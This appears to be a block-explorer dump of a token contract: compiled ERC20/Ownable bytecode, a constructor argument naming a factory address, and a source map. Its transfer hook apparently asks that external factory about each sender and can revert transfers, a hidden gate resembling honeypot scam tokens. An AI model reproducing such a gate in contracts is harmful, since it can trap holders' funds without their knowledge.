0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461029d578063a9059cbb146102cd578063dd62ed3e146102fd578063f2fde38b1461032d57610100565b806370a0823114610227578063715018a6146102575780638da5cb5b1461026157806395d89b411461027f57610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf5780634f78db95146101ef578063664aa26b1461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610349565b60405161011a91906114f1565b60405180910390f35b61013d60048036038101906101389190611056565b6103db565b60405161014a91906114d6565b60405180910390f35b61015b6103fe565b6040516101689190611633565b60405180910390f35b61018b60048036038101906101869190611007565b610408565b60405161019891906114d6565b60405180910390f35b6101a9610437565b6040516101b6919061164e565b60405180910390f35b6101d960048036038101906101d49190611056565b610440565b6040516101e691906114d6565b60405180910390f35b610209600480360381019061020491906110bb565b610477565b005b610225600480360381019061022091906110bb565b610491565b005b610241600480360381019061023c9190610fa2565b6104ab565b60405161024e9190611633565b60405180910390f35b61025f6104f4565b005b610269610508565b60405161027691906114bb565b60405180910390f35b610287610531565b60405161029491906114f1565b60405180910390f35b6102b760048036038101906102b29190611056565b6105c3565b6040516102c491906114d6565b60405180910390f35b6102e760048036038101906102e29190611056565b61063a565b6040516102f491906114d6565b60405180910390f35b61031760048036038101906103129190610fcb565b61065d565b6040516103249190611633565b60405180910390f35b61034760048036038101906103429190610fa2565b6106e4565b005b606060058054610358906117d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610384906117d3565b80156103d15780601f106103a6576101008083540402835291602001916103d1565b820191906000526020600020905b8154815290600101906020018083116103b457829003601f168201915b5050505050905090565b6000806103e6610768565b90506103f3818585610770565b600191505092915050565b6000600454905090565b600080610413610768565b905061042085828561093b565b61042b8585856109c7565b60019150509392505050565b60006012905090565b60008061044b610768565b905061046c81858561045d858961065d565b61046791906116e6565b610770565b600191505092915050565b80600a908051906020019061048d929190610e58565b5050565b80600b90805190602001906104a7929190610e58565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104fc610c42565b6105066000610cc0565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610540906117d3565b80601f016020809104026020016040519081016040528092919081815260200182805461056c906117d3565b80156105b95780601f1061058e576101008083540402835291602001916105b9565b820191906000526020600020905b81548152906001019060200180831161059c57829003601f168201915b5050505050905090565b6000806105ce610768565b905060006105dc828661065d565b905083811015610621576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061890611613565b60405180910390fd5b61062e8286868403610770565b60019250505092915050565b600080610645610768565b90506106528185856109c7565b600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6106ec610c42565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561075c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075390611533565b60405180910390fd5b61076581610cc0565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d7906115f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084790611553565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161092e9190611633565b60405180910390a3505050565b6000610947848461065d565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109c157818110156109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa90611573565b60405180910390fd5b6109c08484848403610770565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2e906115d3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9e90611513565b60405180910390fd5b610ab2838383610d84565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3090611593565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c299190611633565b60405180910390a3610c3c848484610e53565b50505050565b610c4a610768565b73ffffffffffffffffffffffffffffffffffffffff16610c68610508565b73ffffffffffffffffffffffffffffffffffffffff1614610cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb5906115b3565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a19688d856040518263ffffffff1660e01b8152600401610de191906114bb565b60206040518083038186803b158015610df957600080fd5b505afa158015610e0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e319190611092565b905060008115610e4c5780925060008311610e4b57600080fd5b5b5050505050565b505050565b828054610e64906117d3565b90600052602060002090601f016020900481019282610e865760008555610ecd565b82601f10610e9f57805160ff1916838001178555610ecd565b82800160010185558215610ecd579182015b82811115610ecc578251825591602001919060010190610eb1565b5b509050610eda9190610ede565b5090565b5b80821115610ef7576000816000905550600101610edf565b5090565b6000610f0e610f098461169a565b611669565b905082815260208101848484011115610f2657600080fd5b610f31848285611791565b509392505050565b600081359050610f48816118a3565b92915050565b600081519050610f5d816118ba565b92915050565b600082601f830112610f7457600080fd5b8135610f84848260208601610efb565b91505092915050565b600081359050610f9c816118d1565b92915050565b600060208284031215610fb457600080fd5b6000610fc284828501610f39565b91505092915050565b60008060408385031215610fde57600080fd5b6000610fec85828601610f39565b9250506020610ffd85828601610f39565b9150509250929050565b60008060006060848603121561101c57600080fd5b600061102a86828701610f39565b935050602061103b86828701610f39565b925050604061104c86828701610f8d565b9150509250925092565b6000806040838503121561106957600080fd5b600061107785828601610f39565b925050602061108885828601610f8d565b9150509250929050565b6000602082840312156110a457600080fd5b60006110b284828501610f4e565b91505092915050565b6000602082840312156110cd57600080fd5b600082013567ffffffffffffffff8111156110e757600080fd5b6110f384828501610f63565b91505092915050565b6111058161173c565b82525050565b6111148161174e565b82525050565b6000611125826116ca565b61112f81856116d5565b935061113f8185602086016117a0565b61114881611892565b840191505092915050565b60006111606023836116d5565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111c66026836116d5565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061122c6022836116d5565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611292601d836116d5565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b60006112d26026836116d5565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113386020836116d5565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006113786025836116d5565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113de6024836116d5565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114446025836116d5565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6114a68161177a565b82525050565b6114b581611784565b82525050565b60006020820190506114d060008301846110fc565b92915050565b60006020820190506114eb600083018461110b565b92915050565b6000602082019050818103600083015261150b818461111a565b905092915050565b6000602082019050818103600083015261152c81611153565b9050919050565b6000602082019050818103600083015261154c816111b9565b9050919050565b6000602082019050818103600083015261156c8161121f565b9050919050565b6000602082019050818103600083015261158c81611285565b9050919050565b600060208201905081810360008301526115ac816112c5565b9050919050565b600060208201905081810360008301526115cc8161132b565b9050919050565b600060208201905081810360008301526115ec8161136b565b9050919050565b6000602082019050818103600083015261160c816113d1565b9050919050565b6000602082019050818103600083015261162c81611437565b9050919050565b6000602082019050611648600083018461149d565b92915050565b600060208201905061166360008301846114ac565b92915050565b6000604051905081810181811067ffffffffffffffff821117156116905761168f611863565b5b8060405250919050565b600067ffffffffffffffff8211156116b5576116b4611863565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006116f18261177a565b91506116fc8361177a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561173157611730611805565b5b828201905092915050565b60006117478261175a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156117be5780820151818401526020810190506117a3565b838111156117cd576000848401525b50505050565b600060028204905060018216806117eb57607f821691505b602082108114156117ff576117fe611834565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b6118ac8161173c565b81146118b757600080fd5b50565b6118c38161174e565b81146118ce57600080fd5b50565b6118da8161177a565b81146118e557600080fd5b5056fea26469706673582212203dcdee48eaef5b5bd5c97e96903bb8f651ec184372fc5b76032409ad1473e55164736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000ab7c67e3cc9e0e2b8a565840338ffc22faed1e35

-----Decoded View---------------
Arg [0] : _factory (address): 0xaB7c67E3Cc9E0E2B8a565840338ffC22FAeD1E35

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000ab7c67e3cc9e0e2b8a565840338ffc22faed1e35


Deployed Bytecode Sourcemap

6505:7896:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7659:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9381:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8150:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9590:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7992:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9895:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7514:75;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13871:77;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8321:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4789:103;;;:::i;:::-;;4141:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7878:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10144:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8654:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8910:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5047:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7659:100;7713:13;7746:5;7739:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7659:100;:::o;9381:201::-;9464:4;9481:13;9497:12;:10;:12::i;:::-;9481:28;;9520:32;9529:5;9536:7;9545:6;9520:8;:32::i;:::-;9570:4;9563:11;;;9381:201;;;;:::o;8150:108::-;8211:7;8238:12;;8231:19;;8150:108;:::o;9590:295::-;9721:4;9738:15;9756:12;:10;:12::i;:::-;9738:30;;9779:38;9795:4;9801:7;9810:6;9779:15;:38::i;:::-;9828:27;9838:4;9844:2;9848:6;9828:9;:27::i;:::-;9873:4;9866:11;;;9590:295;;;;;:::o;7992:93::-;8050:5;8075:2;8068:9;;7992:93;:::o;9895:238::-;9983:4;10000:13;10016:12;:10;:12::i;:::-;10000:28;;10039:64;10048:5;10055:7;10092:10;10064:25;10074:5;10081:7;10064:9;:25::i;:::-;:38;;;;:::i;:::-;10039:8;:64::i;:::-;10121:4;10114:11;;;9895:238;;;;:::o;7514:75::-;7578:3;7571:4;:10;;;;;;;;;;;;:::i;:::-;;7514:75;:::o;13871:77::-;13937:3;13925:9;:15;;;;;;;;;;;;:::i;:::-;;13871:77;:::o;8321:127::-;8395:7;8422:9;:18;8432:7;8422:18;;;;;;;;;;;;;;;;8415:25;;8321:127;;;:::o;4789:103::-;4027:13;:11;:13::i;:::-;4854:30:::1;4881:1;4854:18;:30::i;:::-;4789:103::o:0;4141:87::-;4187:7;4214:6;;;;;;;;;;;4207:13;;4141:87;:::o;7878:104::-;7934:13;7967:7;7960:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7878:104;:::o;10144:436::-;10237:4;10254:13;10270:12;:10;:12::i;:::-;10254:28;;10293:24;10320:25;10330:5;10337:7;10320:9;:25::i;:::-;10293:52;;10384:15;10364:16;:35;;10356:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;10477:60;10486:5;10493:7;10521:15;10502:16;:34;10477:8;:60::i;:::-;10568:4;10561:11;;;;10144:436;;;;:::o;8654:193::-;8733:4;8750:13;8766:12;:10;:12::i;:::-;8750:28;;8789;8799:5;8806:2;8810:6;8789:9;:28::i;:::-;8835:4;8828:11;;;8654:193;;;;:::o;8910:151::-;8999:7;9026:11;:18;9038:5;9026:18;;;;;;;;;;;;;;;:27;9045:7;9026:27;;;;;;;;;;;;;;;;9019:34;;8910:151;;;;:::o;5047:201::-;4027:13;:11;:13::i;:::-;5156:1:::1;5136:22;;:8;:22;;;;5128:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;5212:28;5231:8;5212:18;:28::i;:::-;5047:201:::0;:::o;710:98::-;763:7;790:10;783:17;;710:98;:::o;12737:380::-;12890:1;12873:19;;:5;:19;;;;12865:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12971:1;12952:21;;:7;:21;;;;12944:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13055:6;13025:11;:18;13037:5;13025:18;;;;;;;;;;;;;;;:27;13044:7;13025:27;;;;;;;;;;;;;;;:36;;;;13093:7;13077:32;;13086:5;13077:32;;;13102:6;13077:32;;;;;;:::i;:::-;;;;;;;;12737:380;;;:::o;13408:453::-;13543:24;13570:25;13580:5;13587:7;13570:9;:25::i;:::-;13543:52;;13630:17;13610:16;:37;13606:248;;13692:6;13672:16;:26;;13664:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13776:51;13785:5;13792:7;13820:6;13801:16;:25;13776:8;:51::i;:::-;13606:248;13408:453;;;;:::o;11050:838::-;11197:1;11181:18;;:4;:18;;;;11173:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11274:1;11260:16;;:2;:16;;;;11252:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;11327:38;11348:4;11354:2;11358:6;11327:20;:38::i;:::-;11378:19;11400:9;:15;11410:4;11400:15;;;;;;;;;;;;;;;;11378:37;;11449:6;11434:11;:21;;11426:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;11566:6;11552:11;:20;11534:9;:15;11544:4;11534:15;;;;;;;;;;;;;;;:38;;;;11769:6;11752:9;:13;11762:2;11752:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;11819:2;11804:26;;11813:4;11804:26;;;11823:6;11804:26;;;;;;:::i;:::-;;;;;;;;11843:37;11863:4;11869:2;11873:6;11843:19;:37::i;:::-;11050:838;;;;:::o;4306:132::-;4381:12;:10;:12::i;:::-;4370:23;;:7;:5;:7::i;:::-;:23;;;4362:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4306:132::o;5408:191::-;5482:16;5501:6;;;;;;;;;;;5482:25;;5527:8;5518:6;;:17;;;;;;;;;;;;;;;;;;5582:8;5551:40;;5572:8;5551:40;;;;;;;;;;;;5408:191;;:::o;13958:306::-;14092:9;14104:12;;;;;;;;;;;:25;;;14130:4;14104:31;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14092:43;;14146:13;14177:4;14174:83;;;14206:5;14197:14;;14243:1;14234:6;:10;14226:19;;;;;;14174:83;13958:306;;;;;:::o;14274:124::-;;;;:::o;-1:-1:-1:-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;:::o;7:344:1:-;;110:65;125:49;167:6;125:49;:::i;:::-;110:65;:::i;:::-;101:74;;198:6;191:5;184:21;236:4;229:5;225:16;274:3;265:6;260:3;256:16;253:25;250:2;;;291:1;288;281:12;250:2;304:41;338:6;333:3;328;304:41;:::i;:::-;91:260;;;;;;:::o;357:139::-;;441:6;428:20;419:29;;457:33;484:5;457:33;:::i;:::-;409:87;;;;:::o;502:137::-;;587:6;581:13;572:22;;603:30;627:5;603:30;:::i;:::-;562:77;;;;:::o;659:273::-;;764:3;757:4;749:6;745:17;741:27;731:2;;782:1;779;772:12;731:2;822:6;809:20;847:79;922:3;914:6;907:4;899:6;895:17;847:79;:::i;:::-;838:88;;721:211;;;;;:::o;938:139::-;;1022:6;1009:20;1000:29;;1038:33;1065:5;1038:33;:::i;:::-;990:87;;;;:::o;1083:262::-;;1191:2;1179:9;1170:7;1166:23;1162:32;1159:2;;;1207:1;1204;1197:12;1159:2;1250:1;1275:53;1320:7;1311:6;1300:9;1296:22;1275:53;:::i;:::-;1265:63;;1221:117;1149:196;;;;:::o;1351:407::-;;;1476:2;1464:9;1455:7;1451:23;1447:32;1444:2;;;1492:1;1489;1482:12;1444:2;1535:1;1560:53;1605:7;1596:6;1585:9;1581:22;1560:53;:::i;:::-;1550:63;;1506:117;1662:2;1688:53;1733:7;1724:6;1713:9;1709:22;1688:53;:::i;:::-;1678:63;;1633:118;1434:324;;;;;:::o;1764:552::-;;;;1906:2;1894:9;1885:7;1881:23;1877:32;1874:2;;;1922:1;1919;1912:12;1874:2;1965:1;1990:53;2035:7;2026:6;2015:9;2011:22;1990:53;:::i;:::-;1980:63;;1936:117;2092:2;2118:53;2163:7;2154:6;2143:9;2139:22;2118:53;:::i;:::-;2108:63;;2063:118;2220:2;2246:53;2291:7;2282:6;2271:9;2267:22;2246:53;:::i;:::-;2236:63;;2191:118;1864:452;;;;;:::o;2322:407::-;;;2447:2;2435:9;2426:7;2422:23;2418:32;2415:2;;;2463:1;2460;2453:12;2415:2;2506:1;2531:53;2576:7;2567:6;2556:9;2552:22;2531:53;:::i;:::-;2521:63;;2477:117;2633:2;2659:53;2704:7;2695:6;2684:9;2680:22;2659:53;:::i;:::-;2649:63;;2604:118;2405:324;;;;;:::o;2735:278::-;;2851:2;2839:9;2830:7;2826:23;2822:32;2819:2;;;2867:1;2864;2857:12;2819:2;2910:1;2935:61;2988:7;2979:6;2968:9;2964:22;2935:61;:::i;:::-;2925:71;;2881:125;2809:204;;;;:::o;3019:375::-;;3137:2;3125:9;3116:7;3112:23;3108:32;3105:2;;;3153:1;3150;3143:12;3105:2;3224:1;3213:9;3209:17;3196:31;3254:18;3246:6;3243:30;3240:2;;;3286:1;3283;3276:12;3240:2;3314:63;3369:7;3360:6;3349:9;3345:22;3314:63;:::i;:::-;3304:73;;3167:220;3095:299;;;;:::o;3400:118::-;3487:24;3505:5;3487:24;:::i;:::-;3482:3;3475:37;3465:53;;:::o;3524:109::-;3605:21;3620:5;3605:21;:::i;:::-;3600:3;3593:34;3583:50;;:::o;3639:364::-;;3755:39;3788:5;3755:39;:::i;:::-;3810:71;3874:6;3869:3;3810:71;:::i;:::-;3803:78;;3890:52;3935:6;3930:3;3923:4;3916:5;3912:16;3890:52;:::i;:::-;3967:29;3989:6;3967:29;:::i;:::-;3962:3;3958:39;3951:46;;3731:272;;;;;:::o;4009:367::-;;4172:67;4236:2;4231:3;4172:67;:::i;:::-;4165:74;;4269:34;4265:1;4260:3;4256:11;4249:55;4335:5;4330:2;4325:3;4321:12;4314:27;4367:2;4362:3;4358:12;4351:19;;4155:221;;;:::o;4382:370::-;;4545:67;4609:2;4604:3;4545:67;:::i;:::-;4538:74;;4642:34;4638:1;4633:3;4629:11;4622:55;4708:8;4703:2;4698:3;4694:12;4687:30;4743:2;4738:3;4734:12;4727:19;;4528:224;;;:::o;4758:366::-;;4921:67;4985:2;4980:3;4921:67;:::i;:::-;4914:74;;5018:34;5014:1;5009:3;5005:11;4998:55;5084:4;5079:2;5074:3;5070:12;5063:26;5115:2;5110:3;5106:12;5099:19;;4904:220;;;:::o;5130:327::-;;5293:67;5357:2;5352:3;5293:67;:::i;:::-;5286:74;;5390:31;5386:1;5381:3;5377:11;5370:52;5448:2;5443:3;5439:12;5432:19;;5276:181;;;:::o;5463:370::-;;5626:67;5690:2;5685:3;5626:67;:::i;:::-;5619:74;;5723:34;5719:1;5714:3;5710:11;5703:55;5789:8;5784:2;5779:3;5775:12;5768:30;5824:2;5819:3;5815:12;5808:19;;5609:224;;;:::o;5839:330::-;;6002:67;6066:2;6061:3;6002:67;:::i;:::-;5995:74;;6099:34;6095:1;6090:3;6086:11;6079:55;6160:2;6155:3;6151:12;6144:19;;5985:184;;;:::o;6175:369::-;;6338:67;6402:2;6397:3;6338:67;:::i;:::-;6331:74;;6435:34;6431:1;6426:3;6422:11;6415:55;6501:7;6496:2;6491:3;6487:12;6480:29;6535:2;6530:3;6526:12;6519:19;;6321:223;;;:::o;6550:368::-;;6713:67;6777:2;6772:3;6713:67;:::i;:::-;6706:74;;6810:34;6806:1;6801:3;6797:11;6790:55;6876:6;6871:2;6866:3;6862:12;6855:28;6909:2;6904:3;6900:12;6893:19;;6696:222;;;:::o;6924:369::-;;7087:67;7151:2;7146:3;7087:67;:::i;:::-;7080:74;;7184:34;7180:1;7175:3;7171:11;7164:55;7250:7;7245:2;7240:3;7236:12;7229:29;7284:2;7279:3;7275:12;7268:19;;7070:223;;;:::o;7299:118::-;7386:24;7404:5;7386:24;:::i;:::-;7381:3;7374:37;7364:53;;:::o;7423:112::-;7506:22;7522:5;7506:22;:::i;:::-;7501:3;7494:35;7484:51;;:::o;7541:222::-;;7672:2;7661:9;7657:18;7649:26;;7685:71;7753:1;7742:9;7738:17;7729:6;7685:71;:::i;:::-;7639:124;;;;:::o;7769:210::-;;7894:2;7883:9;7879:18;7871:26;;7907:65;7969:1;7958:9;7954:17;7945:6;7907:65;:::i;:::-;7861:118;;;;:::o;7985:313::-;;8136:2;8125:9;8121:18;8113:26;;8185:9;8179:4;8175:20;8171:1;8160:9;8156:17;8149:47;8213:78;8286:4;8277:6;8213:78;:::i;:::-;8205:86;;8103:195;;;;:::o;8304:419::-;;8508:2;8497:9;8493:18;8485:26;;8557:9;8551:4;8547:20;8543:1;8532:9;8528:17;8521:47;8585:131;8711:4;8585:131;:::i;:::-;8577:139;;8475:248;;;:::o;8729:419::-;;8933:2;8922:9;8918:18;8910:26;;8982:9;8976:4;8972:20;8968:1;8957:9;8953:17;8946:47;9010:131;9136:4;9010:131;:::i;:::-;9002:139;;8900:248;;;:::o;9154:419::-;;9358:2;9347:9;9343:18;9335:26;;9407:9;9401:4;9397:20;9393:1;9382:9;9378:17;9371:47;9435:131;9561:4;9435:131;:::i;:::-;9427:139;;9325:248;;;:::o;9579:419::-;;9783:2;9772:9;9768:18;9760:26;;9832:9;9826:4;9822:20;9818:1;9807:9;9803:17;9796:47;9860:131;9986:4;9860:131;:::i;:::-;9852:139;;9750:248;;;:::o;10004:419::-;;10208:2;10197:9;10193:18;10185:26;;10257:9;10251:4;10247:20;10243:1;10232:9;10228:17;10221:47;10285:131;10411:4;10285:131;:::i;:::-;10277:139;;10175:248;;;:::o;10429:419::-;;10633:2;10622:9;10618:18;10610:26;;10682:9;10676:4;10672:20;10668:1;10657:9;10653:17;10646:47;10710:131;10836:4;10710:131;:::i;:::-;10702:139;;10600:248;;;:::o;10854:419::-;;11058:2;11047:9;11043:18;11035:26;;11107:9;11101:4;11097:20;11093:1;11082:9;11078:17;11071:47;11135:131;11261:4;11135:131;:::i;:::-;11127:139;;11025:248;;;:::o;11279:419::-;;11483:2;11472:9;11468:18;11460:26;;11532:9;11526:4;11522:20;11518:1;11507:9;11503:17;11496:47;11560:131;11686:4;11560:131;:::i;:::-;11552:139;;11450:248;;;:::o;11704:419::-;;11908:2;11897:9;11893:18;11885:26;;11957:9;11951:4;11947:20;11943:1;11932:9;11928:17;11921:47;11985:131;12111:4;11985:131;:::i;:::-;11977:139;;11875:248;;;:::o;12129:222::-;;12260:2;12249:9;12245:18;12237:26;;12273:71;12341:1;12330:9;12326:17;12317:6;12273:71;:::i;:::-;12227:124;;;;:::o;12357:214::-;;12484:2;12473:9;12469:18;12461:26;;12497:67;12561:1;12550:9;12546:17;12537:6;12497:67;:::i;:::-;12451:120;;;;:::o;12577:283::-;;12643:2;12637:9;12627:19;;12685:4;12677:6;12673:17;12792:6;12780:10;12777:22;12756:18;12744:10;12741:34;12738:62;12735:2;;;12803:18;;:::i;:::-;12735:2;12843:10;12839:2;12832:22;12617:243;;;;:::o;12866:332::-;;13018:18;13010:6;13007:30;13004:2;;;13040:18;;:::i;:::-;13004:2;13125:4;13121:9;13114:4;13106:6;13102:17;13098:33;13090:41;;13186:4;13180;13176:15;13168:23;;12933:265;;;:::o;13204:99::-;;13290:5;13284:12;13274:22;;13263:40;;;:::o;13309:169::-;;13427:6;13422:3;13415:19;13467:4;13462:3;13458:14;13443:29;;13405:73;;;;:::o;13484:305::-;;13543:20;13561:1;13543:20;:::i;:::-;13538:25;;13577:20;13595:1;13577:20;:::i;:::-;13572:25;;13731:1;13663:66;13659:74;13656:1;13653:81;13650:2;;;13737:18;;:::i;:::-;13650:2;13781:1;13778;13774:9;13767:16;;13528:261;;;;:::o;13795:96::-;;13861:24;13879:5;13861:24;:::i;:::-;13850:35;;13840:51;;;:::o;13897:90::-;;13974:5;13967:13;13960:21;13949:32;;13939:48;;;:::o;13993:126::-;;14070:42;14063:5;14059:54;14048:65;;14038:81;;;:::o;14125:77::-;;14191:5;14180:16;;14170:32;;;:::o;14208:86::-;;14283:4;14276:5;14272:16;14261:27;;14251:43;;;:::o;14300:154::-;14384:6;14379:3;14374;14361:30;14446:1;14437:6;14432:3;14428:16;14421:27;14351:103;;;:::o;14460:307::-;14528:1;14538:113;14552:6;14549:1;14546:13;14538:113;;;14637:1;14632:3;14628:11;14622:18;14618:1;14613:3;14609:11;14602:39;14574:2;14571:1;14567:10;14562:15;;14538:113;;;14669:6;14666:1;14663:13;14660:2;;;14749:1;14740:6;14735:3;14731:16;14724:27;14660:2;14509:258;;;;:::o;14773:320::-;;14854:1;14848:4;14844:12;14834:22;;14901:1;14895:4;14891:12;14922:18;14912:2;;14978:4;14970:6;14966:17;14956:27;;14912:2;15040;15032:6;15029:14;15009:18;15006:38;15003:2;;;15059:18;;:::i;:::-;15003:2;14824:269;;;;:::o;15099:180::-;15147:77;15144:1;15137:88;15244:4;15241:1;15234:15;15268:4;15265:1;15258:15;15285:180;15333:77;15330:1;15323:88;15430:4;15427:1;15420:15;15454:4;15451:1;15444:15;15471:180;15519:77;15516:1;15509:88;